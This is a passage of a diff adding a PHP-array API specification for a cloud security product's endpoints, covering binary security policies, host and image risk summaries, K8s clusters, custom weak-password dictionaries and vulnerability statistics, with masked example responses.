'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，显示每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '分页查询时，显示的总数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '218', + ], + 'Count' => [ + 'description' => '分页查询时，显示的总数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + ], + ], + 'BinarySecurityPolicies' => [ + 'description' => '安全策略信息。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Status' => [ + 'description' => '策略状态。取值：'."\n" + .'- **enabled**：启用。'."\n" + .'- **disabled**：已禁用。', + 'type' => 'string', + 'example' => 'enabled', + ], + 'Policy' => [ + 'description' => '策略内容。JSON格式，Key取值：'."\n" + .'- **policyMode**：策略类型，默认requireAttestor。'."\n" + .'- **requiredAttestors**：需要的证明者。', + 'type' => 'string', + 'example' => '{\\"PolicyMode\\":\\"requireAttestor\\",\\"RequiredAttestors\\":[\\"test-xcs-04-11-hhht\\"]}', + ], + 'Name' => [ + 'description' => '策略名称。', + 'type' => 'string', + 'example' => 'logtail', + ], + 'Remark' => [ + 'description' => '备注。', + 'type' => 'string', + 'example' => 'test', + ], + 'Clusters' => [ + 'description' => '集群信息。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'ClusterId' => [ + 'description' => '集群ID。', + 'type' => 'string', + 'example' => 'c316702acdf5f45e1a9dc7fc52f21****', + ], + 'Namespaces' => [ + 'description' => '命名空间。', + 'type' => 'array', + 'items' => [ + 'description' => '命名空间。', + 'type' => 'string', + 'example' => '[\\"insightone_x86\\"]', + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"1EE7B150-D67E-53FD-A52D-3E8E669A****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 218,\\n \\"Count\\": 20\\n },\\n \\"BinarySecurityPolicies\\": [\\n {\\n \\"Status\\": \\"enabled\\",\\n \\"Policy\\": \\"{\\\\\\\\\\\\\\"PolicyMode\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"requireAttestor\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"RequiredAttestors\\\\\\\\\\\\\\":[\\\\\\\\\\\\\\"test-xcs-04-11-hhht\\\\\\\\\\\\\\"]}\\",\\n \\"Name\\": \\"logtail\\",\\n \\"Remark\\": \\"test\\",\\n \\"Clusters\\": [\\n {\\n \\"ClusterId\\": \\"c316702acdf5f45e1a9dc7fc52f21****\\",\\n \\"Namespaces\\": [\\n \\"[\\\\\\\\\\\\\\"insightone_x86\\\\\\\\\\\\\\"]\\"\\n ]\\n }\\n ]\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询二进制安全策略', + ], + 'DescribeClusterHostSecuritySummary' => [ + 'summary' => '宿主机安全信息统计。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '222.71.XXX.XXX', + ], + ], + [ + 'name' => 'ClusterId', + 'in' => 'query', + 'schema' => [ + 'description' => '容器集群的ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'c3aaf6c8085f84791882eef200cd2****', + ], + ], + [ + 'name' => 'ContainerFieldName', + 'in' => 'query', + 'schema' => [ + 'description' => '容器检索项。取值：'."\n" + ."\n" + .'- **instanceId**：实例ID。'."\n" + .'- **appName**：应用名。'."\n" + .'- **clusterId**：集群ID。'."\n" + .'- **regionId**：地域。'."\n" + .'- **nodeName**：节点名。'."\n" + .'- **namespace**：命名空间。'."\n" + .'- **clusterName**：集群名称。'."\n" + .'- **image**：镜像名称。'."\n" + .'- **imageRepoName**：镜像的仓库名称。'."\n" + .'- **imageRepoNamespace**：镜像的仓库命名空间。'."\n" + .'- **imageRepoTag**：镜像的标签。'."\n" + .'- **imageDigest**：镜像摘要。', + 'type' => 'string', + 'required' => false, + 'example' => 'clusterId', + ], + ], + [ + 'name' => 'ContainerFieldValue', + 'in' => 'query', + 'schema' => [ + 'description' => '容器检索项对应值。', + 'type' => 'string', + 'required' => false, + 'example' => 'c1fdb5fd8d42e425d88fd73eec7be****', + ], + ], + [ + 'name' => 'TargetType', + 'in' => 'query', + 'schema' => [ + 'description' => '查询类型。取值：'."\n" + ."\n" + .'- **containerId**：容器ID。'."\n" + .'- **uuid**：资产ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'uuid', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID。', + 'type' => 'string', + 'example' => '0B48AB3C-84FC-424D-A01D-B9270EF4****', + ], + 'ClusterHostEvent' => [ + 'description' => '主机告警详情。', + 'type' => 'object', + 'properties' => [ + 'AlarmEvent' => [ + 'description' => '主机告警详情。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'RiskLevel' => [ + 'description' => '告警等级。取值：'."\n" + .'- **serious**：紧急。'."\n" + .'- **suspicious**：可疑。'."\n" + .'- **remind**：提醒。', + 'type' => 'string', + 'example' => 'remind', + ], + 'Count' => [ + 'description' => '告警数量。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1', + ], + ], + ], + ], + 'VulEvent' => [ + 'description' => '主机漏洞详情。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'RiskLevel' => [ + 'description' => '告警等级。取值：'."\n" + .'- **asap**：高，尽快修复。'."\n" + .'- **nntf**：中，暂时可不修复。'."\n" + .'- **later**：低，可不修复。', + 'type' => 'string', + 'example' => 'later', + ], + 'Count' => [ + 'description' => '漏洞数量。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '3', + ], + ], + ], + ], + 'BaselineEvent' => [ + 'description' => '主机基线详情。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'RiskLevel' => [ + 'description' => '基线风险等级。取值：'."\n" + .'- **high**：高危。'."\n" + .'- **medium**：中危。'."\n" + .'- **low**：低危。', + 'type' => 'string', + 'example' => 'medium', + ], + 'Count' => [ + 'description' => '基线数量。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1', + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"0B48AB3C-84FC-424D-A01D-B9270EF4****\\",\\n \\"ClusterHostEvent\\": {\\n \\"AlarmEvent\\": [\\n {\\n \\"RiskLevel\\": \\"remind\\",\\n \\"Count\\": 1\\n }\\n ],\\n \\"VulEvent\\": [\\n {\\n \\"RiskLevel\\": \\"later\\",\\n \\"Count\\": 3\\n }\\n ],\\n \\"BaselineEvent\\": [\\n {\\n \\"RiskLevel\\": \\"medium\\",\\n \\"Count\\": 1\\n }\\n ]\\n }\\n}","type":"json"}]', + 'title' => '宿主机安全信息统计', + ], + 'DescribeClusterImageSecuritySummary' => [ + 'summary' => '镜像安全信息统计。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '60.190.XXX.XXX', + ], + ], + [ + 'name' => 'ClusterId', + 'in' => 'query', + 'schema' => [ + 'description' => '集群ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'c3aaf6c8085f84791882eef200cd2****', + ], + ], + [ + 'name' => 'ContainerFieldName', + 'in' => 'query', + 'schema' => [ + 'description' => '容器检索项。取值：'."\n" + ."\n" + .'- **instanceId**：容器实例ID'."\n" + .'- **clusterId**：集群ID'."\n" + .'- **regionId**：容器地域'."\n" + .'- **clusterName**：集群名称'."\n" + .'- **image**：镜像名称'."\n" + .'- **imageRepoName**：镜像仓名称'."\n" + .'- **imageRepoNamespace**：镜像仓命名空间'."\n" + .'- **imageRepoTag**：镜像仓标签'."\n" + .'- **imageDigest**：镜像digest'."\n" + .'- **clusterType**：集群类型'."\n" + .'- **hostIp**：公网IP'."\n" + .'- **pod**：pod'."\n" + .'- **podIp**：pod IP'."\n" + .'- **containerId**：容器ID'."\n" + .'- **vulStatus**：容器是否存在漏洞'."\n" + .'- **alarmStatus**：容器是否存在安全告警'."\n" + .'- **riskStatus**：容器是否存在风险'."\n" + .'- **riskLevel**：容器风险等级'."\n" + .'- **containerScope**：容器类型', + 'type' => 'string', + 'required' => false, + 'example' => 'clusterId', + ], + ], + [ + 'name' => 'ContainerFieldValue', + 'in' => 'query', + 'schema' => [ + 'description' => '容器检索项对应值。', + 'type' => 'string', + 'required' => false, + 'example' => 'c2ac28b2d0c734df29a21d29f18ac****', + ], + ], + [ + 'name' => 'ImageRepoName', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像仓库名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'repo', + ], + ], + [ + 'name' => 'ImageRepoNamespace', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像仓库命名空间。', + 'type' => 'string', + 'required' => false, + 'example' => 'namespace', + ], + ], + [ + 'name' => 'ImageTag', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像的标签。'."\n", + 'type' => 'string', + 'required' => false, + 'example' => '3.54.0.1', + ], + ], + [ + 'name' => 'ImageDigest', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像摘要。', + 'type' => 'string', + 'required' => false, + 'example' => '402902de6480a020b9f29e7105e77b8a218bc1cccbc3935d3b38c8ea9ba2****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次请求的ID。', + 'type' => 'string', + 'example' => 'F8B6F758-BCD4-597A-8A2C-DA5A552C****', + ], + 'ClusterImageEvent' => [ + 'description' => '镜像安全事件信息。', + 'type' => 'object', + 'properties' => [ + 'ImageCveVul' => [ + 'description' => '镜像系统漏洞信息。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'RiskLevel' => [ + 'description' => '告警等级。取值：'."\n" + ."\n" + .'- **asap**：高，尽快修复。'."\n" + .'- **nntf**：中，暂时可不修复。'."\n" + .'- **later**：低，可不修复。', + 'type' => 'string', + 'example' => 'later', + ], + 'Count' => [ + 'description' => '漏洞个数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + ], + ], + ], + 'ImageMaliciousFile' => [ + 'description' => '镜像恶意样本信息。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'RiskLevel' => [ + 'description' => '风险等级。取值：'."\n" + ."\n" + .'- **high**：高危。'."\n" + .'- **medium**：中危。'."\n" + .'- **low**：低危。', + 'type' => 'string', + 'example' => 'medium', + ], + 'Count' => [ + 'description' => '恶意样本数量。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + ], + ], + ], + 'ImageScaVul' => [ + 'description' => '镜像应用漏洞信息。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'RiskLevel' => [ + 'description' => '告警等级。取值：'."\n" + ."\n" + .'- **asap**：高，尽快修复。'."\n" + .'- **nntf**：中，暂时可不修复。'."\n" + .'- **later**：低，可不修复。', + 'type' => 'string', + 'example' => 'later', + ], + 'Count' => [ + 'description' => '应用漏洞数量。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + ], + ], + ], + 'ImageBaseline' => [ + 'description' => '镜像基线检查信息。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'RiskLevel' => [ + 'description' => '风险等级。取值：'."\n" + ."\n" + .'- **high**：高危。'."\n" + .'- **medium**：中危。'."\n" + .'- **low**：低危。', + 'type' => 'string', + 'example' => 'medium', + ], + 'Count' => [ + 'description' => '基线数量。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F8B6F758-BCD4-597A-8A2C-DA5A552C****\\",\\n \\"ClusterImageEvent\\": {\\n \\"ImageCveVul\\": [\\n {\\n \\"RiskLevel\\": \\"later\\",\\n \\"Count\\": 0\\n }\\n ],\\n \\"ImageMaliciousFile\\": [\\n {\\n \\"RiskLevel\\": \\"medium\\",\\n \\"Count\\": 0\\n }\\n ],\\n \\"ImageScaVul\\": [\\n {\\n \\"RiskLevel\\": \\"later\\",\\n \\"Count\\": 0\\n }\\n ],\\n \\"ImageBaseline\\": [\\n {\\n \\"RiskLevel\\": \\"medium\\",\\n \\"Count\\": 0\\n }\\n ]\\n }\\n}","type":"json"}]', + 'title' => '镜像安全信息统计', + ], + 'DescribeContainerServiceK8sClusters' => [ + 'summary' => '查询K8s集群。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasA217JR', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '42.120.XXX.XXX', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '唯一请求ID。', + 'type' => 'string', + 'example' => '20456DD5-5CBF-5015-9173-12CA4246B***', + ], + 'K8sClusters' => [ + 'description' => '集群信息。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Name' => [ + 'description' => '集群名称。', + 'type' => 'string', + 'example' => 'cluster-test', + ], + 'ClusterId' => [ + 'description' => '集群ID。', + 'type' => 'string', + 'example' => 'cdbbe7aa56cbf4b8f830f83718d26****', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'AckFailure', + 'errorMessage' => 'Failed to operate ack.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"20456DD5-5CBF-5015-9173-12CA4246B***\\",\\n \\"K8sClusters\\": [\\n {\\n \\"Name\\": \\"cluster-test\\",\\n \\"ClusterId\\": \\"cdbbe7aa56cbf4b8f830f83718d26****\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询K8s集群', + ], + 'DescribeCustomizedDictUploadInfo' => [ + 'summary' => '查看存储自定义弱口令文件的OSS Bucket信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas0XJWFD', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '106.11.43.***', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'Key' => [ + 'description' => 'OSS文件key。', + 'type' => 'string', + 'example' => 'HC_CUSTOMIZED_DICT/176618589410****.tmp', + ], + 'Signature' => [ + 'description' => 'OSS签名。', + 'type' => 'string', + 'example' => 'mWGRgn0CtdbVf8UuJbTXOmo2****', + ], + 'Host' => [ + 'description' => 'OSS域名。', + 'type' => 'string', + 'example' => 'https://aegis-update-static-file.oss-cn-hangzhou.aliyuncs.com', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => 'BDEDEEE7-AC25-559E-8C12-5168B139****', + ], + 'Policy' => [ + 'description' => 'OSS的Bucket Policy。', + 'type' => 'string', + 'example' => 'eyJleHBpcmF0aW9uIjoiMjAyNC0wNy0wMlQxMTo1Nzo1MC44MzJaIiwiY29uZGl0aW9ucyI6W1siY29udGVudC1sZW5ndGgtcmFuZ2UiLDAsNDA5NjBdLFsiZXEiLCIka2V5IiwiSENfQ1VTVE9NSVpFRF9ESUNUXC8xNzY2MTg1ODk0MTA0Njc1LnRtc****', + ], + 'Accessid' => [ + 'description' => '访问文件需要的密钥ID。', + 'type' => 'string', + 'example' => 'yourAccessKeyID', + ], + 'Expire' => [ + 'description' => '鉴权过期时间，时间戳格式。', + 'type' => 'string', + 'example' => '1719921470', + ], + 'SecurityToken' => [ + 'description' => 'STS安全令牌。', + 'type' => 'string', + 'example' => '***', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => '-101', + 'errorMessage' => '%s %s', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Key\\": \\"HC_CUSTOMIZED_DICT/176618589410****.tmp\\",\\n \\"Signature\\": \\"mWGRgn0CtdbVf8UuJbTXOmo2****\\",\\n \\"Host\\": \\"https://aegis-update-static-file.oss-cn-hangzhou.aliyuncs.com\\",\\n \\"RequestId\\": \\"BDEDEEE7-AC25-559E-8C12-5168B139****\\",\\n \\"Policy\\": \\"eyJleHBpcmF0aW9uIjoiMjAyNC0wNy0wMlQxMTo1Nzo1MC44MzJaIiwiY29uZGl0aW9ucyI6W1siY29udGVudC1sZW5ndGgtcmFuZ2UiLDAsNDA5NjBdLFsiZXEiLCIka2V5IiwiSENfQ1VTVE9NSVpFRF9ESUNUXC8xNzY2MTg1ODk0MTA0Njc1LnRtc****\\",\\n \\"Accessid\\": \\"yourAccessKeyID\\",\\n \\"Expire\\": \\"1719921470\\",\\n \\"SecurityToken\\": \\"***\\"\\n}","type":"json"}]', + 'title' => '查看自定义弱口令的上传OSS具体信息', + ], + 'CheckStsTokenAuth' => [ + 'summary' => '鉴权stsToken，并返回aliUid。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'none', + 'abilityTreeCode' => '151356', + 'abilityTreeNodes' => [ + 'FEATUREsasA217JR', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => 'PlainResult', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '客户UID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '185685871307****', + ], + 'RequestId' => [ + 'description' => '本次请求的ID。', + 'type' => 'string', + 'example' => '898F7AA7-CECD-5EC7-AF4D-664C601B****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": 0,\\n \\"RequestId\\": \\"898F7AA7-CECD-5EC7-AF4D-664C601B****\\"\\n}","type":"json"}]', + 'title' => '鉴权stsToken并返回aliUid', + ], + 'DescribeVulDefendCountStatistics' => [ + 'summary' => '查询云安全中心用户漏洞防御统计。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '221262', + 'abilityTreeNodes' => [ + 'FEATUREsasU76LC1', + ], + ], + 'parameters' => [ + [ + 'name' => 'VulType', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的漏洞类型。取值：'."\n" + ."\n" + .'- app：应用漏洞'."\n" + .'- emg：应急漏洞', + 'type' => 'string', + 'required' => false, + 'example' => 'emg', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'CE500770-42D3-442E-9DDD-156E0F9F3B45', + ], + 'RaspDefendedCount' => [ + 'description' => '已防护的漏洞数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'RaspDefensibleCount' => [ + 'description' => '可防护的漏洞数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"CE500770-42D3-442E-9DDD-156E0F9F3B45\\",\\n \\"RaspDefendedCount\\": 10,\\n \\"RaspDefensibleCount\\": 100\\n}","type":"json"}]', + 'title' => '查询用户漏洞防御统计', + ], + 'DescribeVulMetaCountStatistics' => [ + 'summary' => '查询云安全中心漏洞库数据统计。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '221237', + 'abilityTreeNodes' => [ + 'FEATUREsasU76LC1', + ], + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '571B2642-BF51-5BDD-906B-D2340DB9****', + ], + 'CveCount' => [ + 'description' => 'linux软件漏洞数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'SysCount' => [ + 'description' => 'windows系统漏洞数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'AppCount' => [ + 'description' => '应用漏洞数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'RaspDefendCount' => [ + 'description' => 'RASP支持防护的漏洞数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"571B2642-BF51-5BDD-906B-D2340DB9****\\",\\n \\"CveCount\\": 10,\\n \\"SysCount\\": 10,\\n \\"AppCount\\": 0,\\n \\"RaspDefendCount\\": 10\\n}","type":"json"}]', + 'title' => '查询漏洞库数据统计', + ], + 'CreateCustomizedDict' => [ + 'summary' => '添加自定义弱口令规则。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '91923', + 'abilityTreeNodes' => [ + 'FEATUREsas0XJWFD', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。'."\n", + 'type' => 'string', + 'required' => false, + 'example' => '106.11.43.***', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'Override', + 'in' => 'query', + 'schema' => [ + 'description' => '是否覆盖。取值范围：'."\n" + .'- true：覆盖。'."\n" + .'- false：不覆盖。', + 'type' => 'boolean', + 'required' => false, + 'example' => 'false', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '08571630-26D8-5E07-A4B7-DF8E89CF****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"08571630-26D8-5E07-A4B7-DF8E89CF****\\"\\n}","type":"json"}]', + 'title' => '添加自定义弱口令', + ], + 'DescribeContainerFieldStatistics' => [ + 'summary' => '容器信息统计。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次请求的ID。', + 'type' => 'string', + 'example' => 'F8B6F758-BCD4-597A-8A2C-DA5A552C****', + ], + 'ContainerGroupedFields' => [ + 'description' => '容器统计信息。', + 'type' => 'object', + 'properties' => [ + 'RiskImageCount' => [ + 'description' => '存在风险的镜像数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RiskPodCount' => [ + 'description' => '存在风险的POD数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'NamespaceCount' => [ + 'description' => '命名空间数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'PodCount' => [ + 'description' => 'POD数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'AppCount' => [ + 'description' => '应用数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'ContainerCount' => [ + 'description' => '容器数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'ImageCount' => [ + 'description' => '镜像数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'RiskContainerCount' => [ + 'description' => '存在风险的容器数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'ClusterCount' => [ + 'description' => '集群数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RiskAppCount' => [ + 'description' => '存在风险的应用数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RiskClusterCount' => [ + 'description' => '存在风险的集群数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RiskInstanceCount' => [ + 'description' => '存在风险的实例数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'InstanceCount' => [ + 'description' => '实例数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F8B6F758-BCD4-597A-8A2C-DA5A552C****\\",\\n \\"ContainerGroupedFields\\": {\\n 